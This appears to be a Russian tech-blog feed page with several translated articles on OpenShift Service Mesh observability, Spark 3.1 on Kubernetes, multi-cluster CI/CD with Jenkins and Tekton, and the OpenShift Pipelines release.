Чтобы вручную задать, какой протокол использует ваш сервис, надо соответствующим образом настроить объекты Kubernetes Service. В нашем случае в них по умолчанию отсутствовало значение параметра spec -> ports -> name. Если прописать "name: http" для сервисов A, B и C, то граф отобразит эти соединения как HTTP.

Kiali

Kiali это отличный инструмент для того, чтобы начать работать с OpenShift Service Mesh. Можно даже сказать, что именно на нем и надо сосредоточиться, когда вы начинаете работать с mesh-сеткой.

Kiali визуализирует метрики, генерируемые Istio, и помогает понять, что происходит в mesh-сетке. В качестве одной из первоочередных задач мы настоятельно рекомендуем изучить документацию Kiali.

Kiali не только пригодится для визуализации вашего приложения, но и поможет с созданием, проверкой и управлением конфигурациями mesh-сетки. Поначалу изучение конфигураций Istio может быть делом сложным, и Kiali тут сильно поможет.

В Kiali есть много полезных вещей, поэтому мы очень советуем изучить список ее возможностей и FAQ. Например, там есть следующие интересные вещи:

Другая важная вещь умение маркировать сервисы приложения с помощью меток (label). Istio, а следовательно и Kiali, требует, чтобы маркировка велась строго определенным образом, который поначалу отнюдь не кажется очевидным, особенно когда весь ваш опыт исчерпывается работой с приложением-примером Bookinfo, где все метки уже есть и всё прекрасно работает из коробки.

Развертывания с использованием меток app и version это важно, поскольку они добавляет контекстную информацию к метрикам и телеметрии, которые собираются Istio и затем используются в Kiali и Jaeger.

Istio может показать такие связи между внутренними и внешними сервисами, о существовании которых вы даже не догадывались. Это полезно, но иногда может раздражать при просмотре графа. К счастью, с графа всегда можно убрать эти Неизвестные узлы.

Еще одна полезная вещь в Kiali это то, что она может провести проверку вашей mesh-сетки, что особенно полезно, когда вы сами создаете конфигурации.

Поначалу графы Kiali могут несколько обескураживать. Поэтому стоит изучить различные типы графов, начав с того, как генерировать графа сервиса и какие бывают функций наблюдения.

Jaeger-выборки

При первоначальном тестировании своего приложения в mesh-сетке вам, скорее всего, захочется, чтобы частота трассировки была больше 50%, желательно, 100%, чтобы отслеживать все тестовые запросы, проходящие через приложение. В этом случае Jaeger и Kiali быстрее наберут необходимые данные, а вам не придется долго ждать обновления информации.

Иначе говоря, нам надо, чтобы sample rate был равен 100% (тут есть соответствие: 10000 = 100%).

Для этого надо подредактировать объект ServiceMeshControlPlane (обычно называется basic-install) в вашем проекте Control Plane (обычно istio-system) и добавить или изменить там следующее значение:

spec: tracing:  sampling: 10000 # 100%

Понятно, что после запуска приложения в продакшн уже не надо мониторить каждый запрос и частоту выборки стоит понизить процентов до пяти или ниже.

Распространение заголовков контекста трассировки

Jaeger помогает убрать одну из проблем, которая возникает при переходе на микросервисную архитектуру, но для этого все сервисы вашего приложения должны правильно распространять заголовки трассировки (trace headers).

Очень полезно отслеживать, как запросы ходят через сервисы (или даже множество сервисов) в вашей mesh-сетке. OSSM может здесь помочь за счет сбора данных в форме spanов и трасс (trace). Просмотр трасс очень помогает понять сериализацию, параллелизм и источники задержек в вашем приложении. Вкратце, span это интервал от начала выполнения единицы работы до ее завершения (например, полная отработка запроса клиент-сервер). Трасса это путь, по которому запрос проходит, двигаясь по mesh-сети, или, другими словами, по мере того, как он передается от одного сервиса вашего приложения к другому. Подробнее об этом можно и нужно почитать в документации OSSM.

Обратите внимание, что в OSSM spanы (единицы работы) автоматически генерируются средствами Istio, а вот трассы нет. Поэтому чтобы распределенные трассы (distributed traces) были полностью просматриваемыми, разработчик должен изменить код так, чтобы любые существующие trace-заголовки правильно копировались при передаче запроса между сервисами. К счастью, вы не обязаны сами генерировать эти заголовки. Если изначально их нет, то они будут автоматически сгенерированы и добавлены первым Envoy-прокси, который встретится на пути запроса (обычно это прокси на ingress-шлюзе).

Вот список заголовков для распространения:

  • x-request-id

  • x-b3-traceid

  • x-b3-spanid

  • x-b3-parentspanid

  • x-b3-sampled

  • x-b3-flags

  • x-ot-span-context

Распространение заголовков может выполняться вручную или с использованием клиентских библиотек Jaeger, реализующих OpenTracing API.

Вот как делается ручное распространение trace-контекста на Java:

HttpHeaders upstreamHttpHeaders = new HttpHeaders();if (downstreamHttpHeaders.getHeader(headerName: "x-request-id") != null)   upstreamHttpHeaders.set("x-request-id", downstreamHttpHeaders.getHeader( headerName: "x-request-id"));

Примечание: это надо повторить для всех заголовков из списка выше.

Мастера Kiali и редактор YAML

Проверки

Ручная настройка yaml-манифестов дело утомительное, особенно если значения в одном yaml должны совпадать со значениями в другом, а еще ведь есть жесткие правила отступов. К счастью, в Kiali есть отличная функция, которая поможет при создании и проверке конфигураций.

Создание Istio-ресурсов с помощью Kiali-мастеров

Большую часть конфигураций, которые понадобятся вам в первое время, можно создать с помощью соответствующих мастеров Kiali, которые вызываются через меню Services.

YAML-редактор

Kiali имеет собственный редактор YAML для просмотра и редактирования конфигурационных ресурсов Istio напрямую, который также выявляет некорректные конфигурации.

Часто бывает так, что граф Kiali вдруг выявляет в вашем приложении неизвестные ранее (в том числе и разработчикам) коммуникационные пути. Другими словами, Kiali помогает найти и выявить все существующие пути во время тестирования вашего приложения. Это, конечно, полезно, но иногда может и раздражать. В этом случае их можно просто не отображать на графе, введя "node=unknown" в поле ввода над графом Kiali.

Уберите из кода шифрование коммуникаций

Если вы уже защитили соединения между своими сервисами и/или (скорее всего) используете TLS для внешних соединений, то при переводе приложения в mesh-сетку их надо будет в обязательном порядке выключить и переключиться на чистый HTTP без шифрования. А всем шифрованием теперь займутся Envoy-прокси.

Если ваши сервисы будут связываться с внешними сервисами по TLS, то Istio не сможет инспектировать трафик и Kiali будет отображать эти соединения только как TCP.

В общем, используйте для взаимодействия сервисов только HTTP, но не HTTPS.

Также про внешние сервисы надо поставить в известность и вашу mesh-сетку (см. ниже Настройка внешних сервисов).

Упростите код

Самое время пересмотреть код вашего приложения и убрать из него лишнее.

Одно из преимуществ Service Mesh состоит в том, что реализацию многих вещей по сервисам можно убрать из приложения и отдать на откуп платформе, что помогает разработчикам сосредоточиться на бизнес-логике и упростить код. Например, можно рассмотреть следующие доработки:

  • Как сказано выше, убрать HTTPS-шифрование.

  • Убрать всю логику обработки таймаутов и повторных попыток.

  • Убрать все ставшие ненужными библиотеки.

  • Помните, что mesh-сетка увеличивает количество пулов подключений. Если раньше два сервиса связывались напрямую, то теперь у каждого из них есть свой прокси-посредник. То есть фактически вместо одного пула подключений появляются три:

    1. От вашего первого сервиса к локальному для него sidecarу Envoy (расположены в одном и том же podе).

    2. От этого sidecarа к другому sidecarу Envoy, который обслуживает второй сервис и расположен в одном podе с этим сервисом.

    3. И наконец, от того другого sidecarа, собственно, ко второму сервису. Поэтому, возможно, стоит упростить конфигурацию, чтобы не раздувать пулы подключений. Подробнее об этом хорошо написано здесь.

Еще один плюс оптимизации кода это возможность уменьшить размер сервисов и (возможно) поднять их производительность, убрав из них те вещи, которые теперь реализуются на уровне mesh-сетки.

Объекты Service

Убедитесь, что все сервисы вашего приложения взаимодействуют друг с другом через имена объектов Kubernetes Service, а не через OpenShift Routes.

Просто проверьте, вдруг ваши разработчики используют OpenShift Routes (конечные точки ingress на кластере) для организации коммуникаций между сервисами в пределах одного кластера. Если эти сервисы должны входить в одну и ту же mesh-сетку, то разработчиков надо заставить поменять конфигурации/манифесты своих приложений, чтобы вместо конечных точек OpenShift Route использовались имена объектов Kubernetes Service.

Функции аварийного переключения (fallback)

В коде вашего приложения, возможно, потребуется поменять еще кое-что. Envoy-прокси конечно заботятся о таймаутах и повторах, чтобы межсервисные коммуникации были более надежными, но иногда сервисы падают полностью, и такие отказы можно отработать только на уровне приложения. Для этого в коде приложения надо реализовать функции аварийного переключения (fallback), чтобы оно уже само решало, как быть дальше, когда Envoy-прокси уже ничем не может помочь.

Настройка внешних сервисов

Envoy-прокси могут работать не только внутри кластера, но и отправлять трафик за его пределы, если зарегистрировать внешние сервисы в mesh-сетке.

Скорее всего, ваше приложение общается с сервисами за пределами mesh-сетки. Поскольку это внешние по отношению mesh-сетке сервисы, то толку от нее здесь не будет, да? А вот и нет. Эти внешние сервисы можно прописать в Service Mesh и использовать часть её функций и для них.

Подробнее и с примерами можно почитать об этом в документации OSSM. Есть и подробный разбор, как визуализировать внешний трафик Istio в Kiali, и как использовать TLS originationдля зашифрованного egress-трафика.

Вот некоторые из функций Istio, которые можно использовать при работе с внешними сервисами:

  1. Шифрование (и простое, и Mutual TLS).

  2. Таймауты и повторы.

  3. Circuit breakerы.

  4. Маршрутизация трафика.

Заключение

С OpenShift Service Mesh вы можете лучше понять, как устроена ваша mesh-сетка, сделать ее более просматриваемой, что, в свою очередь, помогает поднять общий уровень сложности микросервисной архитектуры. Бонусом идет возможность реализовать больше функций и возможностей на уровне самой платформе OpenShift, а не кодировать их на уровне отдельных приложений, что облегчает жизнь разработчикам. Еще один плюс реализация вещей, которые раньше казались неподъемными, например, канареечное развертывание, A/B-тестирование и т.п. Кроме того, вы получаете целостный подход к управлению микросервисными приложениями на всех своих кластерах OpenShift, что хорошо с точки зрения преемственности людей и непрерывности процессов. В конечном итоге, это поможет перейти от монолитных приложений к распределенной микросервисной архитектуре и работать в большей степени на уровне конфигураций, чем кода.

Подробнее..

Перевод Apache Spark 3.1 Spark on Kubernetes теперь общедоступен

22.04.2021 12:11:11 | Автор: admin


С выходом Apache Spark 3.1 в марте 2021-го проект Spark on Kubernetes официально перешел в статус общедоступного и готового к эксплуатации. Это стало результатом трехлетней работы быстрорастущего сообщества, участники которого помогали в разработке и внедрении (изначально поддержка Spark on Kubernetes появилась в Spark 2.3 в феврале 2018 года). Команда Kubernetes aaS от Mail.ru Cloud Solutions перевела самое важное из статьи об основных возможностях Spark 3.1, в которой автор подробно остановился на улучшениях в Spark on Kubernetes.


Полезные источники информации:



Путь Spark on Kubernetes: от бета-поддержки в 2.3 до нового стандарта в 3.1


С выходом Spark 2.3 в начале 2018 года Kubernetes стал новым диспетчером для Spark (помимо YARN, Mesos и автономного режима) в крупных компаниях, возглавляющих проект: RedHat, Palantir, Google, Bloomberg и Lyft. Сначала поддержка имела статус экспериментальной, функций было мало, стабильность и производительность были невысокими.


С тех пор сообщество проекта получило поддержку многочисленных крупных и маленьких компаний, которых заинтересовали преимущества Kubernetes:


  1. Нативная контейнеризация. Упаковывайте зависимости (и сам Spark) с помощью Docker.
  2. Эффективное совместное использование ресурсов и ускорение запуска приложений.
  3. Обширная Open Source-экосистема уменьшает зависимость от облачных провайдеров и вендоров.

В проект было внесено несколько нововведений: от базовых требований вроде поддержки PySpark и R, клиентского режима и монтирования томов в версии 2.4 до мощных оптимизаций вроде динамического выделения (в 3.0) и улучшения обработки выключения нод (в 3.1). За последние три года вышло больше 500 патчей, сильно повысивших надежность и производительность Spark on Kubernetes.



График внесения улучшений в Spark с 2018 по 2021 годы


В результате в новых Spark-проектах в 2021 году Kubernetes все чаще рассматривается в роли стандартного менеджера ресурсов: это следует из популярности Open Source-проекта оператора Spark on Kubernetes и объявлений крупных вендоров, внедряющих Kubernetes вместо Hadoop YARN.


С выходом Spark 3.1 проект Spark on Kubernetes получил статус общедоступного и готового к эксплуатации. В этом релизе было внесено больше 70 исправлений и улучшений производительности. Давайте рассмотрим самые важные функции, которых с нетерпением ждали заказчики.


Улучшенная обработка выключения нод: постепенное отключение исполнителя (новая функция в Spark 3.1)


Эту функцию (SPARK-20624) реализовал Holden Karau, и пока что она доступна только для автономных развертываний и в Kubernetes. Называется функция улучшенная обработка выключения нод, хотя еще одно подходящее название постепенное отключение исполнителя (Graceful Executor Decommissioning).


Эта функция повышает надежность и производительность Spark при использовании Spot-нод (вытесняемые ноды в GCP). Перед остановкой спота с него перемещаются shuffle-данные и содержимое кэша, поэтому влияние на работу Spark-приложения оказывается минимальное. Раньше, когда система убивала спот, все shuffle-файлы терялись, поэтому их приходилось вычислять заново (снова выполнять потенциально очень долгие задачи). Новая фича не требует настройки внешнего shuffle-сервиса, для которого нужно по запросу запускать дорогие ноды хранения и который совместим с Kubernetes.



Новая функция Spark предотвращает внезапное уничтожение спотов и постепенно выключает исполнитель без потери драгоценных данных!


Что делает эта функция?


  • Исполнитель, который нужно выключить, вносится в черный список: драйвер Spark не будет назначать ему новые задачи. Те задачи, которые сейчас исполняются, не будут принудительно прерваны, но если они сбоят из-за остановки исполнителя, то перезапустятся в другом исполнителе, как и сейчас, а их сбой не будет учитываться в максимальном количестве сбоев (новинка).
  • Shuffle-файлы и кэшированные данные мигрируют из выключаемого исполнителя в другой. Если другого нет, например, мы выключаем единственный исполнитель, то можно настроить объектное хранилище (вроде S3) в качестве запасного.
  • После завершения миграции исполнитель умирает, а Spark-приложение продолжает работать как ни в чем не бывало.

Когда работает эта функция?


  • При использовании Spot / вытесняемых нод облачный провайдер уведомляет о выключении за 60120 секунд. Spark может использовать это время для сохранения важных shuffle-файлов. Этот механизм используется и в тех случаях, когда экземпляр на стороне провайдера по каким-то причинам выключают, допустим, при обслуживании EC2.
  • Когда нода Kubernetes пустеет, например для технического обслуживания, или когда вытесняется под исполнителя Spark, например более высокоприоритетным подом.
  • Когда убранный исполнитель является частью динамического выделения при уменьшении размера системы из-за простоя исполнителя. В этом случае тоже будут сохранены кэш и shuffle-файлы.

Как включить функцию?


  • С помощью конфигурационных флагов. Нужно включить четыре основных флага Spark:


    • spark.decommission.enabled;
    • spark.storage.decommission.rddBlocks.enabled;
    • spark.storage.decommission.shuffleBlocks.enabled;
    • spark.storage.decommission.enabled.

    Другие доступные настройки рекомендую поискать прямо в исходном коде.


  • Для получения предупреждения от облачного провайдера о скором отключении ноды, например из-за выключения спота, нужна специфическая интеграция.



Новые опции с томами в Spark on Kubernetes


Начиная со Spark 2.4 при использовании Spark on Kubernetes можно монтировать три типа томов:


  1. emptyDir: изначально пустая директория, существующая, пока работает под. Полезна для временного хранения. Можно поддерживать ее с помощью диска ноды, SSD или сетевого хранилища.
  2. hostpath: в ваш под монтируется директория прямо из текущей ноды.
  3. Заранее статически создаваемый PersistentVolumeClaim. Это Kubernetes-абстракция для разных типов персистентного хранилища. Пользователь должен создать PersistentVolumeClaim заранее, существование тома не привязано к поду.

В Spark 3.1 появилось два новых варианта: NFS и динамически создаваемый PersistentVolumeClaims.


NFS это том, который могут одновременно использовать несколько подов и который можно заранее наполнить данными. Это один из способов обмена информацией, кодом и конфигурациями между Spark-приложениями либо между драйвером и исполнителем внутри какого-нибудь Spark-приложения. В Kubernetes нет NFS-сервера, вы можете запустить его самостоятельно или использовать облачный сервис.


После создания NFS вы можете легко монтировать этот том в Spark-приложение с помощью таких настроек:


spark.kubernetes.driver.volumes.nfs.myshare.mount.path=/sharedspark.kubernetes.driver.volumes.nfs.myshare.mount.readOnly=falsespark.kubernetes.driver.volumes.nfs.myshare.options.server=nfs.example.comspark.kubernetes.driver.volumes.nfs.myshare.options.path=/storage/shared


NFS (Network File System) популярный способ обмена данными между любыми Spark-приложениями. Теперь он работает и поверх Kubernetes


Второй новый вариант динамический PVC. Это более удобный способ использования персистентных томов. Раньше нужно было сначала создавать PVC, а затем монтировать их. Но при использовании динамического выделения вы не знаете, сколько можно создать исполнителей в ходе работы вашего приложения, поэтому старый способ был неудобен. К тому же приходилось самостоятельно вычищать ненужные PersistentVolumeClaims либо смиряться с потерей места в хранилище.


Со Spark 3.1 все стало динамическим и автоматизированным. Когда вы инициализируете Spark-приложение или в ходе динамического выделения запрашиваете новые исполнители, в Kubernetes динамически создается PersistentVolumeClaims, который автоматически предоставляет новый PersistentVolumes запрошенного вами класса хранилища. При удалении пода ассоциированные с ним ресурсы автоматически удаляются.


Другие функции Spark 3.1: PySpark UX, стейджинговая диспетчеризация, повышение производительности


В Spark 3.1 появилось два крупных улучшения в UX для разработчиков на PySpark:


  • Документация PySpark полностью переделана, теперь она больше соответствует Python и удобна для использования.
  • Теперь поддерживаются подсказки типов: получение в IDE бесплатного автозавершения кода и обнаружения статических ошибок.


Автозавершение кода в PySpark с выходом Apache Spark 3.1


Spark History Server, который отображает интерфейс Spark после завершения вашего приложения, теперь может показывать статистику выполненных вами запросов на Structured Streaming.


Стейджинговая диспетчеризация (SPARK-27495) применима только для YARN- и Kubernetes-развертываний при включенном динамическом выделении. Она позволяет вам управлять в коде количеством и типом запрашиваемых для исполнителя ресурсов с точностью на уровне стадий. В частности, вы можете настроить приложение под использование исполнителей с процессорными ресурсами в ходе первой стадии (например, при выполнении ETL или подготовке данных), а в ходе второй стадии на использование видеокарт (скажем, для моделей машинного обучения).


В Spark 3.1 улучшили производительность shuffle хеш-соединения, добавили новые правила для прерывания подвыражений и в оптимизатор Catalyst. Для пользователей PySpark будет полезно то, что в Spark теперь применяется колоночный формат in-memory хранения Apache Arrow 2.0.0 вместо 1.0.2. Это повысит скорость работы приложений, особенно если вам нужно преобразовывать данные между Spark и фреймами данных Pandas. Причем все эти улучшения производительности не потребуют от вас менять код или конфигурацию.


Что еще почитать по теме:


  1. Как и зачем разворачивать приложение на Apache Spark в Kubernetes.
  2. Наш телеграм-канал Вокруг Kubernetes в Mail.ru Group.
  3. MLOps без боли в облаке: как развернуть Kubeflow в production-кластере Kubernetes.
Подробнее..

Перевод CICD-конвейеры с охватом нескольких кластеров OpenShift

29.04.2021 16:13:12 | Автор: admin

Традиционно конвейеры CI/CD строились поверх физических серверов и виртуальных машин. Контейнерные платформы, вроде Kubernetes и OpenShift, появились на этой сцене гораздо позже. Однако по мере того, как все больше и больше рабочих нагрузок переводится на платформу OpenShift, туда же движутся и конвейеры CI/CD, а конвейерные задания все чаще выполняются внутри контейнеров, работающих на кластере.

Этот пост представляет собой перевод блога нашего друга Алеса Носика, автора блога имени себя ("Helping you navigate the world of Kubernetes"). Девиз Алеса: "Software developer and architect passionate about new technologies, open-source and the DevOps culture. Making the world a better place with software".

Вы можете задать любой вопрос после прочтения Алесу в комментариях. Ну и куда без этого Алес хочет подарить за самые каверзные вопросы набор пешего туриста с картой маршрутов от Red Hat. И шляпу.

В реальном мире компании не ограничиваются одним-единственным кластером OpenShift, а имеют их сразу несколько. Почему? Чтобы запускать рабочие нагрузки как в различных публичных облаках, так и на своих собственных ИТ-мощностях. Либо если организация хранит верность какому-то одному поставщику платформ для того, чтобы эффективно работать в различных регионах мира. А иногда необходимо иметь несколько кластеров и в одном регионе, например, при наличии нескольких зон безопасности, в каждой из которых должен быть свой кластер.

Как видим, у организаций есть масса причин иметь нескольких кластеров OpenShift. Соответственно, конвейеры CI/CD должны уметь работать в таких мультикластерных системах, и ниже мы расскажем, как проектировать такие конвейеры.

CI/CD-конвейер Jenkins

Jenkins это настоящая легенда в мире CI/CD. А ведь когда-то давно он назывался Hudson, впрочем, это совсем уже древняя история. Вернемся к нашей теме и зададимся вопросом, как построить конвейер Jenkins, охватывающий сразу несколько кластеров OpenShift? При проектировании такого конвейера очень важно предусмотреть единую информационную панель, где отображались бы результаты выполнения всех заданий, задействованных в этом конвейере. Если немного подумать, то для этого надо иметь некий главный Jenkins (назовем его мастер-Jenkins), который будет связан с каждым кластером OpenShift. При выполнении конвейера мастер-Jenkins сможет запускать отдельные задания на любом из подключенных кластеров, а журналы вывода заданий будут собираться отправляться на этот мастер-Jenkins, как обычно. Если у нас есть три кластера OpenShift (Dev, Test и Prod), то схема будет выглядеть следующим образом:

Для подключения Jenkins к OpenShift есть замечательный Kubernetes-plugin, с помощью которого мастер-Jenkins сможет создавать эфемерные worker-ы на кластере. Каждому кластеру можно присвоить свою метку узла, чтобы иметь возможность запускать каждый этап конвейера на разных кластерах, просто задавая соответствующую метку. Вот как выглядит простое определение такого конвейера:

stage ('Build') {  node ("dev") {    // running on dev cluster  }}stage ('Test') {  node ("test") {    // running on test cluster  }}stage ('Prod') {  node ("prod") {    // running on prod cluster  }}

В OpenShift есть специальный шаблон для Jenkins, который можно найти в проекте openshift. Этот шаблон позволяет создать мастер-Jenkins, который преднастроен для запуска worker-podов на одном кластере. А дальше придется приложить определенные усилия, чтобы подключить этот мастер-Jenkins к другим кластерам OpenShift, и вся хитрость здесь заключается в настройке сети. Jenkins-овский worker-pod после запуска подключается к мастер-Jenkins. Поэтому нам надо, чтобы мастер-Jenkins был доступен для worker-ов, работающих на любом из наших кластеров OpenShift.

Кроме того, стоит обсудить безопасность. Если мастер-Jenkins может запускать worker-овские pod-ы на OpenShift, то значит он может запускать на этих worker-ах произвольный код. Кластер OpenShift не имеет возможности контролировать, какой код запустит Jenkins-овский worker. Определения заданий управляется Jenkins, поэтому только Jenkins-овские средства контроля доступа решают, можно ли выполнять то или иное задание на том или ином кластере.

Kubernetes-нативный конвейер Tekton

Теперь посмотрим, как организовать мультикластерный конвейер CI/CDВ с помощью Tekton. В отличие от Jenkins, Tekton это Kubernetes-нативное решение: он реализован на основе строительных блоков Kubernetes и тесно интегрирован с Kubernetes. Естественная граница Tekton это кластер. И как тут построить конвейер, который будет охватывать сразу несколько кластеров OpenShift?

Для этого можно скомпоновать схему из несколько конвейеров Tekton. Чтобы объединить несколько конвейеров в один, мы создадим задачу execute-remote-pipeline, которая будет запускать Tekton-конвейер, расположенный на удаленном кластере OpenShift. При выполнении удаленного конвейера эта задача будет подхватывать его вывод. Теперь с помощью этой задачи мы можем объединять несколько конвейеров Tekton на разных кластерах OpenShift и запускать их как один конвейер. Например, на диаграмме ниже показана композиция из трех конвейеров, где каждый из них расположен на своем кластере OpenShift (Dev, Test и Prod):

Выполнение этого конвейера начинается на кластере Dev. Конвейер Dev запустит конвейер Test, который, в свою очередь, запустит конвейер Prod. Объединенные логи можно отследить к окне терминала:

$ tkn pipeline start dev --showlogPipelinerun started: dev-run-bd5fsWaiting for logs to be available...[execute-remote-pipeline : execute-remote-pipeline-step] Logged into "https://api.cluster-affc.sandbox1480.opentlc.com:6443" as "system:serviceaccount:test-pipeline:pipeline-starter" using the token provided.[execute-remote-pipeline : execute-remote-pipeline-step][execute-remote-pipeline : execute-remote-pipeline-step] You have one project on this server: "test-pipeline"[execute-remote-pipeline : execute-remote-pipeline-step][execute-remote-pipeline : execute-remote-pipeline-step] Using project "test-pipeline".[execute-remote-pipeline : execute-remote-pipeline-step] Welcome! See 'oc help' to get started.[execute-remote-pipeline : execute-remote-pipeline-step] [execute-remote-pipeline : execute-remote-pipeline-step] Logged into "https://api.cluster-affc.sandbox1480.opentlc.com:6443" as "system:serviceaccount:prod-pipeline:pipeline-starter" using the token provided.[execute-remote-pipeline : execute-remote-pipeline-step] [execute-remote-pipeline : execute-remote-pipeline-step][execute-remote-pipeline : execute-remote-pipeline-step] [execute-remote-pipeline : execute-remote-pipeline-step] You have one project on this server: "prod-pipeline"[execute-remote-pipeline : execute-remote-pipeline-step] [execute-remote-pipeline : execute-remote-pipeline-step][execute-remote-pipeline : execute-remote-pipeline-step] [execute-remote-pipeline : execute-remote-pipeline-step] Using project "prod-pipeline".[execute-remote-pipeline : execute-remote-pipeline-step] [execute-remote-pipeline : execute-remote-pipeline-step] Welcome! See 'oc help' to get started.[execute-remote-pipeline : execute-remote-pipeline-step] [execute-remote-pipeline : execute-remote-pipeline-step] [prod : prod-step] Running on prod cluster[execute-remote-pipeline : execute-remote-pipeline-step] [execute-remote-pipeline : execute-remote-pipeline-step][execute-remote-pipeline : execute-remote-pipeline-step]

Обратите внимание, что в этом примере показано каскадное выполнение конвейеров Tekton. Есть и способ компоновки последовательное выполнение нескольких удаленных конвейеров.

Прежде чем переходить к заключению, кратко обсудим компоновку конвейеров с точки зрения безопасности. Kubernetes-нативность Tekton означает, что все управление доступом в нем осуществляется через RBAC. Поэтому, чтобы задача, запущенная на локальном кластере (допустим, на кластере Test на нашей схеме), могла запустить конвейер на удаленном кластере (Prod), у нее должны быть соответствующие разрешения, которые задаются на удаленном кластере (Prod). Таким образом, удаленный кластер, работающий в среде более высоко уровня (Prod), может ограничивать доступ для задач, работающие в среде более низкого уровня (Test). Например, Prod может разрешать Test-у запускать только штатные продакшн-конвейеры, поэтому Test не сможет создавать новые конвейеры в кластере Prod.

Заключение

Итак, мы показали, как в Jenkins и Tekton создавать конвейеры CI/CD, охватывающие сразу несколько кластеров OpenShift, обсудив некоторые аспекты их проектирования, безопасности и реализации.

Нет нужды говорить, что контейнеризированные конвейеры будут работать одним и тем же образом на любом кластере OpenShift, неважно, расположен ли он в публичном облаке или в корпоративном дата-центре, что хорошо иллюстрирует преимущества гибридного облака.

Автор: Ales Nosek

13 мая Алес расскажет про Apache Airflow на OpenShift, и там тоже можно будет задавать вопросы, получать подарки и все такое.

Подробнее..

Представляем OpenShift Pipelines

27.05.2021 16:21:56 | Автор: admin

3 мая 2021 года Red Hat выпустила первую общедоступную версию OpenShift Pipelines, облачно-ориентированной системы непрерывной интеграции на базе СПО-проекта Tekton. Решение реализует Kubernetes фреймворк CI/CD для разработки и выполнения конвейеров, в которых каждый шаг запускается в своем собственном контейнере, что позволяет масштабировать шаги независимо друг от друга. Сегодня мы вкратце рассмотрим ключевые особенности и преимущества этого решения, а также приведем список дополнительных ресурсов для дальнейшего знакомства с ней и освоения.

Но, прежде чем переходить к OpenShift Pipelines, освежим в памяти основные концепты Tekton.

Основные концепты Kubernetes-нативной CI/CD

OpenShift Pipelines дополняет Kubernetes/OpenShift соответствующими CRD (ресурсами, определяемыми пользователем) для концептов CI/CD, таких как конвейер (pipeline), задача (task), шаг (step). В результате, эти концепты становятся своими (native) инстанцируемыми их можно создавать в виде отдельных экземпляров и, как следствие, полноценно масштабировать и развертывать, а также обеспечивать их безопасность средствами Kubernetes.

Поэтому для начала вспомним, что такое концепты Tekton:

Рис. 1. КонцептыTektonРис. 1. КонцептыTekton

По сути, основные концепты Tekton делятся на два вида: те, что задают конвейер, и те, что запускают конвейер.

Концепты, задающие конвейер (define pipeline)

  • Task повторно используемые и слабо связанные серии шагов (step), которые выполняют определенную задачу, например, сборку контейнерного образа.

  • Pipeline описание конвейера и задач (Task), которые он должен выполнять.

Концепты, запускающие конвейер (run pipelines)

  • TaskRun запуск и результаты выполнения экземпляра Task.

  • PipelineRun запуск и результаты выполнения экземпляра конвейера, который включает в себя ряд концептов TaskRun.

Подробнее об этих концептах можно почитать в официальной документации.

Теперь разберемся, что такое OpenShift Pipelines и для чего он нужен

Что такого особенного в OpenShift Pipelines?

OpenShift Container Platform это ведущая отраслевая Kubernetes-платформа корпоративного класса, которая предоставляет разработчикам множество функций, среди которых есть и CI/CD.

OpenShift Pipelines базируется на СПО-проекте Tekton и расширяет функционал платформы OpenShift стандратными методами, что сильно облегчает жизнь разработчикам.

Установка OpenShift Pipelines через механизм Operator

OpenShift Pipelines поддерживается на уровне механизма операторов, поэтому он легко устанавливается и обновляется, и, соответственно, легко администрируется.

OpenShift Pipelines доступен на сайте OperatorHub, где представлены более 450 различных операторов для OpenShift Container Platform:

Установка OpenShift Pipelines предельно проста, и он сразу устанавливается как оператор уровня кластера, автоматически становясь доступным для всех проектов:

OpenShift Pipelines также дополняет OpenShift соответствующими CR, которые позволят добиться еще большей универсальности в плане конфигурации и интеграции с консолью OpenShift и т.д.

При появлении в OperatorHub новой версии OpenShift Pipelines, вы как администратор можете выбрать обновление до следующей версии, задав нужный канал обновления.

Развитый UI в рамках консоли OpenShift

Tekton тоже дополняет стандартную поставку OpenShift концептами CI/CD, но в нем при создании и запуске конвейеров сложно обойтись без создания YAML-кода, и этого кода требуется писать очень много, тысячи строк. Поэтому Red Hat реализовала в консоли OpenShift полноценный UI для запуска и визуализации конвейеров (как тех, что работают сейчас, так и тех, что уже отработали), а также для графического создания конвейеров. При этом все необходимые YAML-файлы создаются автоматически, без написания какого-либо кода.

Ниже показано графическое представление конвейера, который уже был выполнен на платформе OpenShift, причем прямо из него можно получить доступ к журналам и событиям всех задач этого конвейера:

Рис. 2. Конвейеры в консоли OpenShiftРис. 2. Конвейеры в консоли OpenShift

При желании можно легко просмотреть полный лог выбранной задачи:

Чтобы еще больше облегчить жизнь разработчикам, OpenShift Pipelines позволяет рисовать конвейеры прямо в консоли OpenShift, поэтому вам больше не нужен черный пояс по YAML, чтобы создать свой первый конвейер Tekton:

Рис. 3. Графическое проектирование конвейера в консоли OpenShiftРис. 3. Графическое проектирование конвейера в консоли OpenShift

Но если вы, как обладатель черного пояса по YAML, захотите что-то подправить, это всегда можно сделать прямо из консоли OpenShift:

Рис. 4. YAML примеры и снипеты в консоли OpenShiftРис. 4. YAML примеры и снипеты в консоли OpenShift

Более того, OpenShift Pipelines пригодится, даже если вы решите пойти по пути чистого YAML, и предложит вам готовые примеры и снипеты кода для более быстрой разработки конвейеров YAML. Кроме того, в систему можно интегрировать ваши корпоративные снипеты, сделав их доступными всем разработчикам. Именно для этого мы и добавили специальный CRD под названием ConsoleYAMLSamples.

События как триггеры для запуска конвейеров

Хотите увязать запуск конвейеров с некими внешними событиями (в терминах Tekton это называется Trigger), например, push- или pull-запросами Github или Gitlab? Вообще не проблема, в OpenShift Pipelines это есть из коробки, причем поддерживаются различные вендоры, включая Github, Gitlab, BitBucket и т.д.

Рис. 5. Добавление триггера в консоли OpenShiftРис. 5. Добавление триггера в консоли OpenShift

Вы просто создаете нужный триггер в UI, а OpenShift сам формирует все необходимые концепты, такие как EventListeners, TriggerTemplates (подробнее о них можно почитать в официальной документации).

Готовые повторно используемые задачи и кастомизация

OpenShift Pipelines из коробки содержит десятки готовых задач, которые можно использовать в составе конвейеров, включая задачи по клонированию кода из репозитория, сборки приложений на различных языках программирования, таких как java, dotnet core, python go, nodejs или использования инструментов сборки вроде maven, развертывания приложений и т.д. Список доступных задач можно увидеть в консоли OpenShift, раздел ClusterTasks, меню Pipelines -> Tasks:

Рис. 6. OpenShift Pipelines из коробки предлагает десятки готовых задачРис. 6. OpenShift Pipelines из коробки предлагает десятки готовых задач

Кроме того, этот список можно легко расширить. Для этого достаточно добавить ClusterTasks в кластер, после чего вам станут доступны сотни дополнительных задач на сайте TektonHub, который представляет собой публичный репозиторий для обмена задачами Tekton:

